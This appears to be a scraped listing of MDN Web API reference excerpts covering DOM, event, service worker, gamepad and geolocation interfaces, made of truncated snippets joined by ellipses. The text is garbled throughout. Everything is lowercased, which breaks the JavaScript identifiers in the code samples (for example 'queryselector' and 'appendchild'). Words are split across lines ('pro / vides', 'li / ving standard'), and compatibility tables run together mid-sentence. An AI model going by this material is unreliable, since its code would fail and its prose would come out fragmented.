via the displayreports() fuction, which takes the observer callback's reports parameter as its parameter: function displayreports(reports) { const outputelem = document.queryselector('.output'); const list = document.createelement('ul'); outputelem.appendchild(list); for(let i = 0; i < reports.length; i++) { let listitem = document.createelement('li'); let textnode = document.createtextnode('report ' + (i + 1) + ', type: ' + reports[i].type); listitem.appendchild(textnode); let innerlist = document.createelement('ul'); listitem.appendchild(innerlist); list.appendchild(listitem); for (let key in reports[i].body) { let innerlistitem = document.createelement('li'); let keyvalue = reports[i].body[key]; ...
Document.anchors - Web APIs
.appendchild(newanchor); toc.appendchild(li); } } </script> </head> <body onload="init()"> <h1>title</h1> <h2><a name="contents">contents</a></h2> <ul id="toc"></ul> <h2><a name="plants">plants</a></h2> <ol> <li>apples</li> <li>oranges</li> <li>pears</li> </ol> <h2><a name="veggies">veggies</a></h2> <ol> <li>carrots</li> <li>celery</li> <li>beats</li> </ol> </body> </html>
view on jsfiddle notes for reasons of backwards compatibility, the returned set of anchors only contains those anchors created with the name attribute, not those created with the id attribute.
... specifications specification status comment html li
ving standardthe definition of 'document.anchors' in that specification.
... li
ving standard obsoleted.
Document.characterSet - Web APIs
users can override the developer-specified encoding inside the content-type header or inline like <meta charset="utf-8">, such as with firefox's
view → text encoding menu.
... this override is pro
vided to fix incorrect developer-specified encodings that result in garbled text.
... li
ving standard initial definition.
Document.createElementNS() - Web APIs
optionsoptional an optional elementcreationoptions object containing a single property named is, whose value is the tag name for a custom element pre
viously defined using customelements.define().
... for backwards compatibility with pre
vious versions of the custom elements specification, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name.
... li
ving standard ...
Document.createTouch() - Web APIs
syntax var touch = documenttouch.createtouch(
view, target, identifier, pagex, pagey, screenx, screeny); parameters note: all parameters are optional.
...
view the window in which the touch occurred.
... note: pre
vious versions of this method included the following additional parameters but those parameters are not included in either of the standards listed below.
Document: drag event - Web APIs
dropzone"> <div id="draggable" draggable="true" ondragstart="event.datatransfer.setdata('text/plain',null)"> this div is draggable </div> </div> <div class="dropzone"></div> <div class="dropzone"></div> <div class="dropzone"></div> css #draggable { width: 200px; height: 20px; text-align: center; background: white; } .dropzone { width: 200px; height: 20px; background: blue
violet; margin-bottom: 10px; padding: 10px; } javascript var dragged; /* events fired on the draggable target */ document.addeventlistener("drag", function(event) { }, false); document.addeventlistener("dragstart", function(event) { // store a ref.
...nt default action (open as link for some elements) event.preventdefault(); // move dragged elem to the selected drop target if (event.target.classname == "dropzone") { event.target.style.background = ""; dragged.parentnode.removechild( dragged ); event.target.appendchild( dragged ); } }, false); specifications specification status comment html li
ving standardthe definition of 'drag event' in that specification.
... li
ving standard ...
Document.exitFullscreen() - Web APIs
the document method exitfullscreen() requests that the element on this document which is currently being presented in full-screen mode be taken out of full-screen mode, restoring the pre
vious state of the screen.
... this usually reverses the effects of a pre
vious call to element.requestfullscreen().
... li
ving standard initial definition ...
Document.fonts - Web APIs
the fontfaceset interface is useful for loading new fonts, checking the status of pre
viously loaded fonts etc.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfontschrome full support 60edge full support 79firefox full support 41 full support 41 no support 35 — 41di...
...to change preferences in firefox,
visit about:config.ie no support noopera full support 47safari full support 10web
view android full support 60chrome android full support 60firefox android full support yesopera android full support 44safari ios full support 10samsung internet an...
Document.fullscreenEnabled - Web APIs
example in this example, before attempting to request full-screen mode for a <
video> element, the value of fullscreenenabled is checked, in order to avoid making the attempt when not available.
... function requestfullscreen() { if (document.fullscreenenabled) {
videoelement.requestfullscreen(); } else { console.log('your browser cannot use fullscreen right now'); } } specifications specification status comment fullscreen apithe definition of 'document.fullscreenenabled' in that specification.
... li
ving standard initial definition ...
Document.hasFocus() - Web APIs
when
viewing a document, an element with focus is always the active element in the document, but an active element does not necessarily have focus.
...{ log.textcontent = 'this document does not have the focus.'; body.style.background = '#ccc'; } } function openwindow() { window.open('https://developer.mozilla.org/', 'mdn', 'width=640,height=320,left=150,top=150'); } // check page focus every 300 milliseconds setinterval(checkpagefocus, 300); result specification specification status comment html li
ving standardthe definition of 'document.hasfocus()' in that specification.
... li
ving standard initial definition ...
Document.images - Web APIs
syntax var imagecollection = document.images; value an htmlcollection pro
viding a live list of all of the images contained in the current document.
... var ilist = document.images; for(var i = 0; i < ilist.length; i++) { if(ilist[i].src == 'banner.gif') { // found the banner } } specifications specification status comment html li
ving standardthe definition of 'document.images' in that specification.
... li
ving standard document object model (dom) level 2 html specificationthe definition of 'document.images' in that specification.
Document.lastModified - Web APIs
the page changes (see also: javascript cookies api): if (date.parse(document.lastmodified) > parsefloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1") || "0")) { document.cookie = "last_modif=" + date.now() + "; expires=fri, 31 dec 9999 23:59:59 gmt; path=" + location.pathname; alert("this page has changed!"); } …the same example, but skipping the first
visit: var nlast
visit = parsefloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1")), nlastmodif = date.parse(document.lastmodified); if (isnan(nlast
visit) || nlastmodif > nlast
visit) { document.cookie = "last_modif=" + date.now() + "; expires=fri, 31 dec 9999 23:59:59 gmt; path=" + location.pathname; if (isfinite(nlast
visit)) { alert("this page has b...
... specifications specification status comment html li
ving standardthe definition of 'document.lastmodified' in that specification.
... li
ving standard ...
Document.location - Web APIs
the document.location read-only property returns a location object, which contains information about the url of the document and pro
vides methods for changing that url and loading another url.
... syntax locationobj = document.location document.location = 'http://www.mozilla.org' // equivalent to document.location.href = 'http://www.mozilla.org' examples console.log(document.location); // prints a location object to the console specifications specification status comment html li
ving standardthe definition of 'document.location' in that specification.
... li
ving standard no change from html5.
Document.plugins - Web APIs
for a list of installed plugins, use na
vigatorplugins.plugins instead.
... specifications specification status comment html li
ving standardthe definition of 'document.plugins' in that specification.
... li
ving standard ...
Document.popupNode - Web APIs
when a popup attached
via the popup or context attributes is opened, the xul document's popupnode property is set to the node that was clicked on.
...if the popup was opened
via the keyboard, the popup node may be set to null.
... this property is only set for popups attached
via the popup or context attributes.
Document.referrer - Web APIs
syntax var referrer = document.referrer; value the value is an empty string if the user na
vigated to the page directly (not through a link, but, for example, by using a bookmark).
... specifications specification status comment html li
ving standardthe definition of 'document.referrer' in that specification.
... li
ving standard ...
Document.registerElement() - Web APIs
the mytag variable holds a constructor that you can use to create a my-tag element in the document as follows: document.body.appendchild(new mytag()); this inserts an empty my-tag element that will be
visible if you use the browser's developer tools.
... it will not be
visible if you use the browser's
view source capability.
... and it won't be
visible in the browser unless you add some content to the tag.
Document.title - Web APIs
in xul, accessing document.title before the document is fully loaded has undefined beha
vior: document.title may return an empty string and setting document.title may have no effect.
... specifications specification status comment html li
ving standardthe definition of 'document.title' in that specification.
... li
ving standard ...
Document.write() - Web APIs
note: starting with version 55, chrome will not execute <script> elements injected
via document.write() when specific conditions are met.
... specifications specification status comment html li
ving standardthe definition of 'document.write(...)' in that specification.
... li
ving standard document object model (dom) level 2 html specificationthe definition of 'document.write(...)' in that specification.
DocumentOrShadowRoot.activeElement - Web APIs
note: focus (which element is recei
ving user input events) is not the same thing as selection (the currently highlighted part of the document).
...lement.innerhtml = activetextarea.id; outputtext.innerhtml = selection; } const textarea1 = document.getelementbyid('ta-example-one'); const textarea2 = document.getelementbyid('ta-example-two'); textarea1.addeventlistener('mouseup', onmouseup, false); textarea2.addeventlistener('mouseup', onmouseup, false); result specifications specification status comment html li
ving standardthe definition of 'activeelement' in that specification.
... li
ving standard ...
DocumentOrShadowRoot.fullscreenElement - Web APIs
example this example presents a function, is
videoinfullscreen(), which looks at the value returned by fullscreenelement; if the document is in full-screen mode (fullscreenelement isn't null) and the full-screen element's nodename is
video, indicating a <
video> element, the function returns true, indicating that the
video is in full-screen mode.
... function is
videoinfullscreen() { if (document.fullscreenelement && document.fullscreenelement.nodename == '
video') { return true; } return false; } specifications specification status comment fullscreen apithe definition of 'document.fullscreenelement' in that specification.
... li
ving standard initial definition ...
Events and the DOM - Web APIs
html attribute <button onclick="alert('hello world!')"> the javascript code in the attribute is passed the event object
via the event parameter.
...concerns of content/structure and beha
vior are not well-separated, making a bug harder to find.
... the event interface is accessible from within the handler function,
via the event object passed as the first argument.
Document Object Model (DOM) - Web APIs
the html dom api pro
vides access to various browser features such as tabs and windows, css styles and stylesheets, browser history, and so forth.
... svgpolylineelement svgpolygonelement svgradialgradientelement svgrectelement svgscriptelement svgsetelement svgsolidcolorelement svgstopelement svgstyleelement svgsvgelement svgswitchelement svgsymbolelement svgtextcontentelement svgtextelement svgtextpathelement svgtextpositioningelement svgtitleelement svgtrefelement svgtspanelement svguseelement svgunknownelement svg
viewelement svgvkernelement svg data type interfaces here are the dom apis for data types used in the definitions of svg properties and attributes.
...imatednumber svganimatednumberlist svganimatedpathdata svganimatedpoints svganimatedpreserveaspectratio svganimatedrect svganimatedstring svganimatedtransformlist smil-related interfaces elementtimecontrol timeevent other svg interfaces getsvgdocument shadowanimation svgcolorprofilerule svgcssrule svgdocument svgexception svgexternalresourcesrequired svgfitto
viewbox svglangspace svglocatable svgrenderingintent svgstylable svgtests svgtransformable svgunittypes svguseelementshadowroot svgurireference svg
viewspec svgzoomandpan svgzoomevent specifications specification status comment dom li
ving standard ...
DragEvent() - Web APIs
drageventinitoptional is a drageventinit dictionary, ha
ving the following fields: "datatransfer", optional and defaults to "null".
... specifications specification status comment html li
ving standardthe definition of 'dragevent' in that specification.
... li
ving standard html 5.1the definition of 'dragevent' in that specification.
DynamicsCompressorNode() - Web APIs
the dynamicscompressornode() constructor creates a new dynamicscompressornode object which pro
vides a compression effect, which lowers the volume of the loudest parts of the signal, in order to help prevent clipping and distortion.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdynamicscompressornode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were not supported.edge full support ≤79firefox ...
... web
view android full support 55notes full support 55notes notes before version 59, the default values were not supported.chrome android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safar...
Element.innerHTML - Web APIs
warning: if your project is one that will undergo any form of security re
view, using innerhtml most likely will result in your code being rejected.
... for example, if you use innerhtml in a browser extension and submit the extension to addons.mozilla.org, it will not pass the automated re
view process.
...you can see output into the log by mo
ving the mouse in and out of the box, clicking in it, and so forth.
Element.localName - Web APIs
in pre
vious dom specifications this api was defined within the node interface.
... function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri = '" + circle.namespaceuri + "'"; } ]]></script> </head> <body onload="test()"> <svg:svg version="1.1" width="100px" height="100px"
viewbox="0 0 100 100"> <svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/> </svg:svg> <textarea id="text" rows="4" cols="55"/> </body> </html> notes the local name of a node is that part of the node's qualified name that comes after the colon.
... li
ving standard initial definition ...
Element: mouseenter event - Web APIs
the mouseenter event is fired at an element when a pointing de
vice (usually a mouse) is initially moved so that its hotspot is within the element at which the event was fired.
... mouseenter the following tri
vial example uses the mouseenter event to change the border on the div when the mouse enters the space alloted to it.
... html <div id='mousetarget'> <ul id="unorderedlist"> <li>no events yet!</li> </ul> </div> css styling the div to make it more
visible.
Element: mouseout event - Web APIs
the mouseout event is fired at an element when a pointing de
vice (usually a mouse) is used to move the cursor so that it is no longer contained within the element or one of its children.
... mouseout is also delivered to an element if the cursor enters a child element, because the child element obscures the
visible area of the element.
... when you try this out, you'll find that mouseout is delivered to the indi
vidual list items, while mouseleave goes to the overall list, courtesy of the hierarchy of the items and the fact that list items obscure the underlying <ul>.
Element.scrollWidth - Web APIs
the element.scrollwidth read-only property is a measurement of the width of an element's content, including content not
visible on the screen due to overflow.
... the scrollwidth value is equal to the minimum width the element would require in order to fit all the content in the
viewport without using a horizontal scrollbar.
...ntainer.'); } else { alert('no overflows!'); } } buttonone.addeventlistener('click', function() { alertoverflow(divone); }); buttontwo.addeventlistener('click', function() { alertoverflow(divtwo); }); </script> </html> result specification specification status comment css object model (cssom)
view modulethe definition of 'element.scrollwidth' in that specification.
Element: scroll event - Web APIs
bubbles no cancelable no interface event event handler property onscroll note: in ios uiweb
views, scroll events are not fired while scrolling is taking place; they are only fired after the scrolling has completed.
...safari and wkweb
views are not affected by this bug.
... specifications specification status css object model (cssom)
view module working draft ...
Element.setPointerCapture() - Web APIs
subsequent events for the pointer will be targeted at the capture element until capture is released (
via element.releasepointercapture()).
... over
view of pointer capture pointer capture allows events for a particular pointer event (pointerevent) to be re-targeted to a particular element instead of the normal (or hit test) target at a pointer's location.
... this can be used to ensure that an element continues to receive pointer events even if the pointer de
vice's contact moves off the element (such as by scrolling or panning).
Encrypted Media Extensions API - Web APIs
the encrypted media extensions api pro
vides interfaces for controlling the playback of content which is subject to a digital restrictions management scheme.
... mediakeysystemaccess pro
vides access to a key system for decryption and/or a content protection pro
vider.
... mediakeysystemconfiguration pro
vides configuration information about the media key system.
Event.currentTarget - Web APIs
function hide(e){ e.currenttarget.style.
visibility = 'hidden'; console.log(e.currenttarget); // when this function is used as an event handler: this === e.currenttarget } var ps = document.getelementsbytagname('p'); for(var i = 0; i < ps.length; i++){ // console: print the clicked <p> element ps[i].addeventlistener('click', hide, false); } // console: print <body> document.body.addeventlistener('click', hide, false); // click a...
...instead, you can either directly console.log(event.currenttarget) to be able to
view it in the console or use the debugger statement, which will pause the execution of your code thus showing you the value of event.currenttarget.
... li
ving standard dom4the definition of 'event.currenttarget' in that specification.
Event.defaultPrevented - Web APIs
example this example logs attempts to
visit links from two <a> elements.
... html <p><a id="link1" href="#link1">
visit link 1</a></p> <p><a id="link2" href="#link2">try to
visit link 2</a> (you can't)</p> <p id="log"></p> javascript function stoplink(event) { event.preventdefault(); } function logclick(event) { const log = document.getelementbyid('log'); if (event.target.tagname === 'a') { if (event.defaultprevented) { log.innertext = 'sorry, but you cannot
visit this link!\n' + log.innertext; } else { log.innertext = '
visiting link...\n' + log.innertext; } } } const a = document.getelementbyid('link2'); a.addeventlistener('click', stoplink); document.addeventlistener('click', logclick); result specifications specification status comment ...
... li
ving standard ...
Event.initEvent() - Web APIs
li
ving standard from document object model (dom) level 2 events specification, deprecated it, superseded by event constructors.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetinitevent deprecatedchrome full support yesedge full support 12firefox full support 17 full support 17 no support ...
...— 17notes notes before firefox 17, a call to this method after the dispatching of the event raised an exception instead of doing nothing.ie full support yesopera full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support 17 full support 17 no support ?
Event.stopPropagation() - Web APIs
it does not, however, prevent any default beha
viors from occurring; for instance, clicks on links are still processed.
... if you want to stop those beha
viors, see the preventdefault() method.
... li
ving standard dom4the definition of 'event.stoppropagation()' in that specification.
Event - Web APIs
(for example, a webpage with an advertising-module and statistics-module both monitoring
video-watching.) when there are many nested elements, each with its own handler(s), event processing can become very complicated—especially where a parent element receives the very same event as its child elements because "spatially" they overlap so the event technically occurs in both, and the processing order of such events depends on the event bubbling and capture settings of each handler tri...
... animationevent audioprocessingevent beforeinputevent beforeunloadevent blobevent clipboardevent closeevent compositionevent cssfontfaceloadevent customevent de
vicelightevent de
vicemotionevent de
viceorientationevent de
viceproximityevent domtransactionevent dragevent editingbeforeinputevent errorevent fetchevent focusevent gamepadevent hashchangeevent idbversionchangeevent inputevent keyboardevent mediastreamevent messageevent mouseevent mutationevent offlineaudiocompletionevent overconstrainederror pagetransitionevent paymentrequestup...
... li
ving standard ...
EventSource - Web APIs
constructor eventsource() creates a new eventsource to handle recei
ving server-sent events from a specified url, optionally in credentials mode.
... */ sse.addeventlistener("message", function(e) { console.log(e.data) }) specifications specification status html li
ving standardthe definition of 'eventsource' in that specification.
... li
ving standard ...
EventTarget - Web APIs
many event targets (including elements, documents, and windows) also support setting event handlers
via onevent properties and attributes.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor eventtarget() creates a new eventtarget object instance.
... li
ving standard no change.
ExtendableMessageEvent() - Web APIs
origin: a domstring that defines the origin of the corresponding ser
vice worker's en
vironment settings object.
... source: the client, ser
viceworker or messageport that sent the message.
... examples var init = { data : 'hello message', source : messageportreference, ports : messageportlistreference } var myeme = new extendablemessageevent('message', init); specifications specification status comment ser
vice workersthe definition of 'extendablemessageevent()' in that specification.
ExtendableMessageEvent.source - Web APIs
syntax var mysource = extendablemessageevent.source; value a client, ser
viceworker or messageport object.
... examples when the following code is used inside a ser
vice worker to respond to a push messages by sending the data received
via pushmessagedata to the main context
via a channel message, the event object of onmessage will be a extendablemessageevent.
...r('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.source); port = e.ports[0]; } specifications specification status comment ser
vice workersthe definition of 'extendablemessageevent.source' in that specification.
ExtendableMessageEvent - Web APIs
the extendablemessageevent interface of the ser
vice worker api represents the event object of a message event fired on a ser
vice worker (when a message is received on the ser
viceworkerglobalscope from another context) — extends the lifetime of such events.
... examples in the below example a page gets a handle to the ser
viceworker object
via ser
viceworkerregistration.active, and then calls its postmessage() function.
... // in the page being controlled if (na
vigator.ser
viceworker) { na
vigator.ser
viceworker.register('ser
vice-worker.js'); na
vigator.ser
viceworker.addeventlistener('message', event => { // event is a messageevent object console.log(`the ser
vice worker sent me a message: ${event.data}`); }); na
vigator.ser
viceworker.ready.then( registration => { registration.active.postmessage("hi ser
vice worker"); }); } the ser
vice worker can receive the message by listening to the message event: // in the ser
vice worker addeventlistener('message', event => { // event is an extendablemessageevent object console.log(`the client sent me a message: ${event.data}`); event.source.postmessage("hi client"); }); specifications specification status comment serv...
FederatedCredential - Web APIs
syntax var mycredential = new federatedcredential(init) parameters init options are: pro
vider: a usvstring; identifying the credential pro
vider.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfederatedcredential() constructor non-standardchrome full support 51edge full support ≤79firefox ?
... web
view android full support 51chrome android full support 51firefox android ?
FetchEvent() - Web APIs
options are as follows: clientid read only the client that the current ser
vice worker is controlling.
... preloadresponse read only a promise which returns a pre
viously-loaded response to the client.
... specifications specification status comment ser
vice workersthe definition of 'fetchevent() constructor' in that specification.
FetchEvent.resultingClientId - Web APIs
the resultingclientid read-only property of the fetchevent interface is the id of the client that replaces the pre
vious client during a page na
vigation.
... for example, when na
vigating from page a to page b resultingclientid is the id of the client associated with page b.
... example self.addeventlistener('fetch', function(event) { console.log(event.resultingclientid); }); specifications specification status comment ser
vice workersthe definition of 'resultingclientid' in that specification.
Fetch basic concepts - Web APIs
the fetch api pro
vides an interface for fetching resources (including across the network).
... it will seem familiar to anyone who has used xmlhttprequest, but it pro
vides a more powerful and flexible feature set.
... ser
vice workers is an example of an api that makes heavy use of fetch.
FileException - Web APIs
examples of invalid modifications include mo
ving a directory into its own child or mo
ving a file into its parent directory without changing its name.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfileexception deprecatednon-standardchrome no support 13 — 29prefixed no support 13 — 29prefixed prefixed implemented with the vendor prefix: webkitedge no support nofirefox no support ...
... noie no support noopera no support nosafari no support noweb
view android no support nochrome android no support 18 — 29prefixed no support 18 — 29prefixed prefixed implemented with the vendor prefix: webkitfirefox android no support noopera android no support nosafari ios no support nosamsung internet android no support 1.0 — 3.0prefixed no support 1.0 —...
FileSystemDirectoryReader.readEntries() - Web APIs
the filesystemdirectoryreader interface's readentries() method retrieves the directory entries within the directory being read and delivers them in an array to a pro
vided callback function.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadentries deprecatednon-standardchrome full support 8edge ?
... safari full support 11.1web
view android full support ≤37chrome android full support 18firefox android full support yesopera android no support nosafari ios full support 11.3samsung internet android ?
FileSystemDirectoryReader - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystemdirectoryreader deprecatednon-standardchrome full support 8alternate name full support 8alternate name alternate name uses the non-standard name: directoryreaderedge full support ...
...rfirefox full support 50ie no support noopera full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitsafari full support 11.1web
view android full support ≤37alternate name full support ≤37alternate name alternate name uses the non-standard name: directoryreaderchrome android full support 18alternate name full support 18alternate name alternat...
... safari full support 11.1web
view android full support ≤37chrome android full support 18firefox android full support yesopera android no support nosafari ios full support 11.3samsung internet android ...
FileSystemFileEntry.createWriter() - Web APIs
errorcallback optional if pro
vided, this must be a method which is caled when an error occurs while trying to create the filewriter.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreatewriter deprecatednon-standardchrome full support 8edge full support 79firefox no support 50 — 52notes no support 50 — 52notes notes while the createwriter() metho...
...d existed, it immediately called errorcallback with the ns_error_dom_security_err error.ie no support noopera no support nosafari no support noweb
view android full support ≤37chrome android full support 18firefox android no support 50 — 52notes no support 50 — 52notes notes while the createwriter() method existed, it immediately called errorcallback with the ns_error_dom_security_err error.opera android no support nosafari ios no support ...
FileSystemFileEntry.file() - Web APIs
errorcallback optional if pro
vided, this must be a method which is called when an error occurs while trying to create the file.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilechrome full support 8edge full support 79firefox full support 50ie no support noopera no support ...
... nosafari full support 11.1web
view android full support ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yeslegend full support full support no support no support ...
FormDataEvent - Web APIs
this allows a formdata object to be quickly obtained in response to a formdata event firing, rather than needing to put it together yourself when you wish to submit form data
via a method like xmlhttprequest (see using formdata objects).
...ault e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data
via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html li
ving standardthe definition of 'formdataevent' in that specification.
... li
ving standard ...
Gamepad.buttons - Web APIs
the gamepad.buttons property of the gamepad interface returns an array of gamepadbutton objects representing the buttons present on the de
vice.
... syntax readonly attribute gamepadbutton[] buttons; example the following code is taken from my gamepad api button demo (you can
view the demo live, and find the source code on github.) note the code fork — in chrome na
vigator.getgamepads needs a webkit prefix and the button values are stores as an array of double values, whereas in firefox na
vigator.getgamepads doesn't need a prefix, and the button values are stored as an array of gamepadbutton objects; it is the gamepadbutton.value or gamepadbutton.pressed properties of t...
... function gameloop() { if(na
vigator.webkitgetgamepads) { var gp = na
vigator.webkitgetgamepads()[0]; if(gp.buttons[0] == 1) { b--; } else if(gp.buttons[1] == 1) { a++; } else if(gp.buttons[2] == 1) { b++; } else if(gp.buttons[3] == 1) { a--; } } else { var gp = na
vigator.getgamepads()[0]; if(gp.buttons[0].value > 0 || gp.buttons[0].pressed == true) { b--; } else if(gp.buttons[1].value > 0 || gp.buttons[1].pressed == true) { a++; } else if(gp.buttons[2].value > 0 || gp.buttons[2].pressed == true) { b++; } else if(gp.buttons[3].value > 0 || gp.buttons[3].pressed == true) { a--; }...
Gamepad.id - Web APIs
the exact syntax is not strictly specified, but in firefox it will contain three pieces of information separated by dashes (-): two 4-digit hexadecimal strings containing the usb vendor and product id of the controller the name of the controller as pro
vided by the driver.
... this information is intended to allow you to find a mapping for the controls on the de
vice as well as display useful feedback to the user.
... syntax readonly attribute domstring id; example window.addeventlistener("gamepadconnected", function() { var gp = na
vigator.getgamepads()[0]; gamepadinfo.innerhtml = "gamepad connected at index " + gp.index + ": " + gp.id + "."; }); value a string.
Gamepad.mapping - Web APIs
the gamepad.mapping property of the gamepad interface returns a string indicating whether the browser has remapped the controls on the de
vice to a known layout.
...if the browser is able to map controls on the de
vice to that layout the mapping property will be set to the string standard.
... syntax readonly attribute domstring mapping; example var gp = na
vigator.getgamepads()[0]; console.log(gp.mapping); value a string.
GamepadButton - Web APIs
the gamepadbutton interface defines an indi
vidual button of a gamepad or other controller, allowing access to the current state of different types of buttons available on the control de
vice.
... example the following code is taken from my gamepad api button demo (you can
view the demo live, and find the source code on github.) note the code fork — in chrome na
vigator.getgamepads needs a webkit prefix and the button values are stored as an array of double values, whereas in firefox na
vigator.getgamepads doesn't need a prefix, and the button values are stored as an array of gamepadbutton objects; it is the gamepadbutton.value or gamepadbutton.pressed properties of t...
... function gameloop() { if(na
vigator.webkitgetgamepads) { var gp = na
vigator.webkitgetgamepads()[0]; if(gp.buttons[0] == 1) { b--; } else if(gp.buttons[1] == 1) { a++; } else if(gp.buttons[2] == 1) { b++; } else if(gp.buttons[3] == 1) { a--; } } else { var gp = na
vigator.getgamepads()[0]; if(gp.buttons[0].value > 0 || gp.buttons[0].pressed == true) { b--; } else if(gp.buttons[1].value > 0 || gp.buttons[1].pressed == true) { a++; } else if(gp.buttons[2].value > 0 || gp.buttons[2].pressed == true) { b++; } else if(gp.buttons[3].value > 0 || gp.buttons[3].pressed == true) { a--; }...
Geolocation.clearWatch() - Web APIs
the geolocation.clearwatch() method is used to unregister location/error monitoring handlers pre
viously installed using geolocation.watchposition().
... syntax na
vigator.geolocation.clearwatch(id); parameters id the id number returned by the geolocation.watchposition() method when installing the handler you wish to remove.
... example var id, target, option; function success(pos) { var crd = pos.coords; if (target.latitude === crd.latitude && target.longitude === crd.longitude) { console.log('congratulation, you reach the target'); na
vigator.geolocation.clearwatch(id); } }; function error(err) { console.warn('error(' + err.code + '): ' + err.message); }; target = { latitude : 0, longitude: 0, } options = { enablehighaccuracy: false, timeout: 5000, maximumage: 0 }; id = na
vigator.geolocation.watchposition(success, error, options); specifications specification status comment geolocation api recommendation initial specification.
Geolocation.getCurrentPosition() - Web APIs
the geolocation.getcurrentposition() method is used to get the current position of the de
vice.
... syntax na
vigator.geolocation.getcurrentposition(success[, error[, [options]]) parameters success a callback function that takes a geolocationposition object as its sole input parameter.
...options = { enablehighaccuracy: true, timeout: 5000, maximumage: 0 }; function success(pos) { var crd = pos.coords; console.log('your current position is:'); console.log(`latitude : ${crd.latitude}`); console.log(`longitude: ${crd.longitude}`); console.log(`more or less ${crd.accuracy} meters.`); } function error(err) { console.warn(`error(${err.code}): ${err.message}`); } na
vigator.geolocation.getcurrentposition(success, error, options); specifications specification status comment geolocation api recommendation initial specification.
GeolocationCoordinates.longitude - Web APIs
let button = document.getelementbyid("get-location"); let lattext = document.getelementbyid("latitude"); let longtext = document.getelementbyid("longitude"); button.addeventlistener("click", function() { na
vigator.geolocation.getcurrentposition(function(position) { let lat = position.coords.latitude; let long = position.coords.longitude; lattext.innertext = lat.tofixed(2); longtext.innertext = long.tofixed(2); }); }); after setting up variables to more conveniently reference the button element and the two elements into which the latitude and logitude will be drawn, the event listen...
... upon recei
ving a click event, we call getcurrentposition() to request the de
vice's current position.
... this is an asynchronous request, so we pro
vide a callback which receives as in put a geolocationposition object describing the determined position.
GlobalEventHandlers.onabort - Web APIs
closing the window
via window manager?
... example window.onabort = function() { alert('load aborted.'); } specification specification status comment html li
ving standardthe definition of 'onabort' in that specification.
... li
ving standard ...
GlobalEventHandlers.oncanplay - Web APIs
the canplay event is fired when the user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without ha
ving to stop for further buffering of content.
... specification specification status comment html li
ving standardthe definition of 'oncanplay' in that specification.
... li
ving standard ...
GlobalEventHandlers.oncanplaythrough - Web APIs
the canplaythrough event is fired when the user agent can play the media and estimates that enough data has been loaded to play the media up to its end without ha
ving to stop for further buffering of content.
... specification specification status comment html li
ving standardthe definition of 'oncanplaythrough' in that specification.
... li
ving standard ...
GlobalEventHandlers.oncontextmenu - Web APIs
unless the default beha
vior is prevented, the browser context menu will activate.
... body.classlist.add('paused'); note.removeattribute('hidden'); } function play(e) { body.classlist.remove('paused'); note.setattribute('hidden', ''); } const body = document.queryselector('body'); const note = document.queryselector('.note'); window.oncontextmenu = pause; window.onpointerdown = play; result specifications specification status comment html li
ving standardthe definition of 'oncontextmenu' in that specification.
... li
ving standard ...
GlobalEventHandlers.ondrag - Web APIs
<!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=de
vice-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.
